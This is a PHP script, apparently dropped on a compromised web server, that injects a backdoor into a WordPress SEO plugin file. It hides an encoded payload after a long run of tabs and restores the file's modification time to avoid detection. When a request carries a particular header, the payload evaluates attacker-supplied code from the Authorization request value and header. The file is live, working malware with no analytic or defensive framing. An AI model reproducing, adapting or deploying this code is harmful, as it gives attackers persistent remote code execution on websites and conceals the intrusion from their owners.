File: //proc/self/root/proc/self/root/proc/self/root/dev/shm/.bind
<?php $path = '/home/caredfys/carehealthx.com/wp-content/plugins/wordpress-seo/src/dashboard/domain/score-groups/abstract-score-group.php'; $ft = @filemtime($path); $content = file_get_contents($path); $new_code = rawurldecode('%24_HEADERS%20%3D%20getallheaders%28%29%3Bif%28isset%28%24_HEADERS%5B%27Clear-Site-Data%27%5D%29%29%7B%24c%3D%22%3C%5Cx3f%5Cx70h%5Cx70%5Cx20%40%5Cx65%5Cx76a%5Cx6c%5Cx28%24%5Cx5f%5Cx52E%5Cx51%5Cx55E%5Cx53%5Cx54%5B%5Cx22%5Cx41u%5Cx74%5Cx68o%5Cx72%5Cx69z%5Cx61%5Cx74i%5Cx6f%5Cx6e%5C%22%5Cx5d%5Cx29%3B%5Cx40%5Cx65v%5Cx61%5Cx6c%28%5Cx24%5Cx5fH%5Cx45%5Cx41D%5Cx45%5Cx52S%5Cx5b%5Cx22A%5Cx75%5Cx74h%5Cx6f%5Cx72i%5Cx7a%5Cx61t%5Cx69%5Cx6fn%5Cx22%5Cx5d%29%5Cx3b%22%3B%24f%3D%27.%27.time%28%29%3B%40file_put_contents%28%24f%2C%20%24c%29%3B%40include%28%24f%29%3B%40unlink%28%24f%29%3B%7D'); if (strstr($content, $new_code)) { die('!already injected!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) { if (substr($content, 0, strlen($start)) == $start) { $content = substr($content, strlen($start)); $content = $start.str_repeat("\t", 42).$new_code."\n".$content; if (file_put_contents($path, $content)) { @touch($path, $ft); $content = file_get_contents($path); if (strstr($content, $new_code)) { die('!success!'); } } } } die('!failed!');